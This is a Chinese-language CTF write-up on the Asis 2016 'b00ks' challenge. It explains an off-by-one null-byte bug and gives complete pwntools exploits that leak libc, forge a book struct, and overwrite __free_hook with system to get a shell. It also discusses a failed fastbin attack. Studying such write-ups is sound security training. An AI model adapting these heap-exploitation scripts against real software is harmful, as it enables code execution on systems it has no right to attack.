Asis CTF 2016 - b00ks —— Off-By-One利用与思考

First Post:

Last Update:

前言:

      这道题做得有点痛苦……因为本地通常都很难和服务器有相同的环境,使用mmap开辟空间造成的偏移会因此而变得麻烦,并且free_hook周围很难伪造chunk,一度陷入恐慌……

        不过本来应该很早就开始Off-By-One的学习的,竟然现在才注意到……惭愧

正文:

        book结构:

1
2
3
4
5
6
7
struct book
{
int id;
char *name;
char *description;
int size;
}

        程序具体的流程不做赘述,主要漏洞点出在sub_9F5函数中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall sub_9F5(_BYTE *a1, int a2)
{
int i; // [rsp+14h] [rbp-Ch]

if ( a2 <= 0 )
return 0LL;
for ( i = 0; ; ++i )
{
if ( read(0, a1, 1uLL) != 1 )
return 1LL;
if ( *a1 == '\n' )
break;
++a1;
if ( i == a2 )
break;
}
*a1 = 0;
return 0LL;
}

         i是从0开始计数的,假设输入a2=32,那么将会通过read读取32个字符,而在++a1之后,让第33个字符的位置被“\x00”覆盖,从而造成该漏洞

第一种方法:mmap拓展

        该方法实用性似乎不是很高,主要的利用思路是:mmap开辟出的块与libc基址的偏移是固定的,因此只要拿到mmap开辟出的chunk的地址,就能通过一个“固定的偏移”得到libc

        但这个偏移会因为不同的系统、不同的libc版本种种原因而发生偏差

        笔者使用Ubuntu16的系统得出偏移后,成功在本地拿到了shell,但服务器那边却没能成功

        也试着从其他师傅的wp里获取,但似乎因为BUU过去的系统升级等原因,那些偏移也没能成功,最后使用的是第二种方法拿到了服务端的shell,但其方法还是值得学习的,并且主要的思路同第二种方法是相同的

1
2
3
4
.data:0000000000202010 off_202010      dq offset unk_202060    ; DATA XREF: sub_B24:loc_B38↑o
.data:0000000000202010 ; sub_BBD:loc_C1B↑o ...
.data:0000000000202018 off_202018 dq offset unk_202040 ; DATA XREF: sub_B6D+15↑o
.data:0000000000202018 ; sub_D1F+CA↑o

         IDA中可以看见名字与书的地址分布

        二者相距很近,name为unk_202040,而book结构的的地址为unk_202060,因此,如果名字长达32字节,就能够泄露出第一个book结构的地址

        同时,也因为上面所说的Off-By-One漏洞,我们甚至能将该book结构的最后一位置0

        因此如果这样去设定:

1
2
3
createname("a"*32)
createbook(0xD0,"object1",0x20,"object2")
createbook(0x21000, '/bin/sh', 0x21000, '/bin/sh')

1
2
3
4
5
6
gdb-peda$ x /10gx 0x55da227e6040
0x55da227e6040:0x61616161616161610x6161616161616161
0x55da227e6050:0x61616161616161610x6161616161616161
0x55da227e6060:0x000055da231941300x000055da23194160
0x55da227e6070:0x00000000000000000x0000000000000000
0x55da227e6080:0x00000000000000000x0000000000000000

         接下来如果我们打印出内容,就会把地址0x000055da23194130泄露出来

        并且,因为堆的初始化是按页对齐的,而该程序的生成规律是:name——>des——>book

        因此,设计好每个chunk的大小,那么当我们覆盖book的最后一个字节时,就能让其指向des

1
2
3
gdb-peda$ x /10gx 0x000055da23194130
0x55da23194130:0x00000000000000010x000055da23194020
0x55da23194140:0x000055da231941000x0000000000000020

        0x000055da23194100即为des,和book结构地址只有最低位不同

        而des结构是我们可以任意写的,如果我们将其伪造成book结构,让这个fake book的des指向我们想要写的位置,那么我们就能达成任意地址写了

        但话虽如此,我们还不知道应该往哪写

        基本的想法是覆盖__free_hook或者__malloc_hook为system或one gadget

        那么我们还需要泄露libc基址:

1
2
3
4
5
6
7
8
9
10
11
12
book1_addr = u64(book_author[32:32+6].ljust(8,'\x00'))
log.success("book1_address:" + hex(book1_addr))

payload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr + 0x40) + p64(0xffff)
editbook(book_id_1, payload)
changename("a"*32)

book_id_2, book_name_2, book_des_2, book_author_2 = printbook(1)
leak_addr=u64(book_name_2.ljust(8,'\x00'))
log.success("leak_addr:" + hex(leak_addr)) # [+] leak_addr:0x7f5e8d2c4010
libc_base=leak_addr+ (0x00007f5e8cd12000 - 0x7f5e8d2c4010)
log.success("libc_base:" + hex(libc_base))

         我们可以根据堆的开辟顺序得到book2的地址,然后将book1的name和des指向book2的name和des

        此时如果再打印所有book,book1的name就会泄露出book而name块的地址,而name块是通过mmap开辟而来

1
2
3
4
5
0x00007f5e8cd12000 0x00007f5e8ced2000 r-xp/lib/x86_64-linux-gnu/libc-2.23.so
0x00007f5e8ced2000 0x00007f5e8d0d2000 ---p/lib/x86_64-linux-gnu/libc-2.23.so
0x00007f5e8d0d2000 0x00007f5e8d0d6000 r--p/lib/x86_64-linux-gnu/libc-2.23.so
0x00007f5e8d0d6000 0x00007f5e8d0d8000 rw-p/lib/x86_64-linux-gnu/libc-2.23.so
0x00007f5e8d0d8000 0x00007f5e8d0dc000 rw-pmapped

        最后只需要将__free_hook写为system,然后把book2删除即可拿到shell

        因为此时book1的des指向book2的des处,将该处改为__free_hook地址,那么写book2的des时就会往__free_hook处写入:

1
2
3
4
5
6
7
8
system=libc_base+libc.symbols['system']
free_hook=libc_base+libc.symbols['__free_hook']
payload=p64(free_hook)
editbook(1, payload)
payload=p64(system)
editbook(2, payload)

deletebook(2)

       完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *

context.log_level = 'info'
binary = ELF("b00ks")
libc=binary.libc
io = process("./b00ks")

def createbook(name_size, name, des_size, des):
io.readuntil("> ")
io.sendline("1")
io.readuntil(": ")
io.sendline(str(name_size))
io.readuntil(": ")
io.sendline(name)
io.readuntil(": ")
io.sendline(str(des_size))
io.readuntil(": ")
io.sendline(des)

def printbook(id):
io.readuntil("> ")
io.sendline("4")
io.readuntil(": ")
for i in range(id):
book_id = int(io.readline()[:-1])
io.readuntil(": ")
book_name = io.readline()[:-1]
io.readuntil(": ")
book_des = io.readline()[:-1]
io.readuntil(": ")
book_author = io.readline()[:-1]
return book_id, book_name, book_des, book_author

def createname(name):
io.readuntil("name: ")
io.sendline(name)

def changename(name):
io.readuntil("> ")
io.sendline("5")
io.readuntil(": ")
io.sendline(name)

def editbook(book_id, new_des):
io.readuntil("> ")
io.sendline("3")
io.readuntil(": ")
io.writeline(str(book_id))
io.readuntil(": ")
io.sendline(new_des)

def deletebook(book_id):
io.readuntil("> ")
io.sendline("2")
io.readuntil(": ")
io.sendline(str(book_id))

createname("a"*32)
createbook(0xD0,"object1",0x20,"object2")
createbook(0x21000, '/bin/sh', 0x21000, '/bin/sh')

book_id_1, book_name, book_des, book_author = printbook(1)

book1_addr = u64(book_author[32:32+6].ljust(8,'\x00'))
log.success("book1_address:" + hex(book1_addr))

payload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr + 0x40) + p64(0xffff)
editbook(book_id_1, payload)
changename("a"*32)

book_id_2, book_name_2, book_des_2, book_author_2 = printbook(1)
leak_addr=u64(book_name_2.ljust(8,'\x00'))
log.success("leak_addr:" + hex(leak_addr))

libc_base=leak_addr+ (0x00007f5e8cd12000 - 0x7f5e8d2c4010)
log.success("libc_base:" + hex(libc_base))

system=libc_base+libc.symbols['system']
free_hook=libc_base+libc.symbols['__free_hook']

payload=p64(free_hook)
editbook(1, payload)

payload=p64(system)
editbook(2, payload)

deletebook(2)

io.interactive()

         这是本地能够通过的方法,但受限于不能拿到服务端那边的偏移,所以只能在本地通过

第二种方法:

        另外一种泄露方式,也是笔者成功在服务端那边打通的exp

        其泄露libc基址的方法与第一种不同,通过unsorted bin中的fd指针泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
p.sendlineafter('name: ','a'*0x1f+'b')
add(0xd0,'aaaaaaaa',0x20,'bbbbbbbb')
show()
p.recvuntil('aaab')
heap_addr = u64(p.recv(6).ljust(8,'\x00'))
print 'heap_addr-->'+hex(heap_addr)
add(0x80,'cccccccc',0x60,'dddddddd')
add(0x10,'/bin/sh',0x10,'/bin/sh')
delete(2)

edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x30+0x90)+p64(0x20))
change('a'*0x20)
show()

libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88-0x10-libc.symbols['__malloc_hook']

         同样的方法泄露book1的地址,然后伪造book结构

        其中,heap_addr+0x30这个地址将会指向被删除的book2处的fd指针地址,由此泄露libc基址

        这种方法泄露的地址不依赖于系统,arena的基址有固定的计算方式,使用常规的2.23版本libc即可拿到正确基址(虽然本题没有提供libc,但BUU里大多2.23的libc都是同一个,直接拿过来用就行了)

        参考文章中,“不会修电脑”师傅是通过FastBin Attack来拿shell,但笔者这里还是同第一种方法一样,直接复写__free_hook即可

        完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *

#p=remote("node4.buuoj.cn",26109)
p = process(['./b00ks'],env={"LD_PRELOAD":"./libc.so.6"})

elf = ELF('./b00ks')
libc = ELF("./libc.so.6")
context.log_level = 'info'


def add(name_size,name,content_size,content):
p.sendlineafter('> ','1')
p.sendlineafter('size: ',str(name_size))
p.sendlineafter('chars): ',name)
p.sendlineafter('size: ',str(content_size))
p.sendlineafter('tion: ',content)
def delete(index):
p.sendlineafter('> ','2')
p.sendlineafter('delete: ',str(index))
def edit(index,content):
p.sendlineafter('> ','3')
p.sendlineafter('edit: ',str(index))
p.sendlineafter('ption: ',content)
def show():
p.sendlineafter('> ','4')
def change(author_name):
p.sendlineafter('> ','5')
p.sendlineafter('name: ',author_name)

p.sendlineafter('name: ','a'*0x1f+'b')
add(0xd0,'aaaaaaaa',0x20,'bbbbbbbb')
show()
p.recvuntil('aaab')
heap_addr = u64(p.recv(6).ljust(8,'\x00'))
print 'heap_addr-->'+hex(heap_addr)
add(0x80,'cccccccc',0x60,'dddddddd')
add(0x20,'/bin/sh',0x20,'/bin/sh')
delete(2)

edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x180+0x50)+p64(0x20))
change('a'*0x20)
show()

libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88-0x10-libc.symbols['__malloc_hook']
__malloc_hook = libc_base+libc.symbols['__malloc_hook']
realloc = libc_base+libc.symbols['realloc']


print 'libc_base-->'+hex(libc_base)
__free_hook=libc_base+libc.symbols['__free_hook']
system=libc_base+libc.symbols['system']

edit(1,p64(__free_hook)+'\x00'*2+'\x20')

print '__free_hook-->'+hex(__free_hook)

edit(3,p64(system))
delete(3)

p.interactive()

第三法:

         这里是指通过Fast Bin Attack来写hook

        但这种方法通常都很难精确地覆写,只能在目标附近寻址合适的位置伪造chunk

        笔者在尝试该方法时遇到了比较特别的问题,特此记录一下

        首先需要泄露libc基址,泄露方法同第二种方法完全一样,通过fd指针拿到了libc base,此时的bins内容为:

1
2
3
4
5
6
7
8
9
10
fastbins
0x20: 0x0
0x30: 0x55a691fe2250 ◂— 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x55a691fe21e0 ◂— 0x0
0x80: 0x0
unsortedbin
all: 0x55a691fe2150 —▸ 0x7fc45e171b78 (main_arena+88) ◂— 0x55a691fe2150

        留意下述的地址,我们是能够在__free_hook周围找到一个能够用以伪造chunk的位置的

1
2
3
4
5
6
7
8
gdb-peda$ p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7fc45e1737a8 <__free_hook>
gdb-peda$ x /10gx 0x7fc45e1737a8-0x13
0x7fc45e173795 <_IO_stdfile_0_lock+5>:0xc45e3827000000000x000000000000007f
0x7fc45e1737a5 <__after_morecore_hook+5>:0x00000000000000000x0000000000000000
0x7fc45e1737b5 <__malloc_initialize_hook+5>:0x00000000000000000x0000000000000000
0x7fc45e1737c5 <narenas_limit.11257+5>:0x00000000000000000x0000000000000000
0x7fc45e1737d5 <aligned_heap_area+5>:0x00000000000000000x0000000000000000

         那么,我们的目标就是将0x70: 0x55a691fe21e0的fd指向0x7fc45e1737a8-0x13就能成功伪造了,然后覆盖__free_hook为system即可

但笔者经过测试之后发现,这种方法是不可行的

        尽管此刻,我们能够找到合适的位置伪造chunk,但当我们成功使用edit功能复写之后,这里将会被置零

1
2
3
4
5
6
7
8
9
10
fastbins
0x20: 0x0
0x30: 0x55a691fe2250 ◂— 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x55a691fe21e0 —▸ 0x7fc45e173795 <_IO_stdfile_0_lock+5> ◂— 0xc45de32ea0000000
0x80: 0x0
unsortedbin
all: 0x55a691fe2150 —▸ 0x7fc45e171b78 (main_arena+88) ◂— 0x55a691fe2150
1
2
3
4
5
6
gdb-peda$ x /10gx 0x7fc45e1737a8-0x13
0x7fc45e173795 <_IO_stdfile_0_lock+5>:0x00000000000000000x0000000000000000
0x7fc45e1737a5 <__after_morecore_hook+5>:0x00000000000000000x0000000000000000
0x7fc45e1737b5 <__malloc_initialize_hook+5>:0x00000000000000000x0000000000000000
0x7fc45e1737c5 <narenas_limit.11257+5>:0x00000000000000000x0000000000000000
0x7fc45e1737d5 <aligned_heap_area+5>:0x00000000000000000x0000000000000000

         可以注意到,此时,这里变得不再合适了

        那么接下来在进行malloc的时候,将因为无法通过chunk size的检查导致程序直接crash

      笔者目前不太清楚是什么原因导致了 _IO_stdfile_0_lock中的地址被清除了,若以后得知,到那时再做补充吧

        提供的代替方案之一是:覆盖__malloc_hook为某个one_gadget,然后通过realloc调整栈帧,最后用malloc来获取shell

        在该方案中,__malloc_hook附近始终都有适合用于伪造的位置,因此这个方法是可以成立的,笔者也同样在该方法中拿到了shell,具体的exp请参照参考文章第二篇 ​

参考文章:

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/off-by-one/#_1

https://www.cnblogs.com/bhxdn/p/14293978.html

插画ID:91452046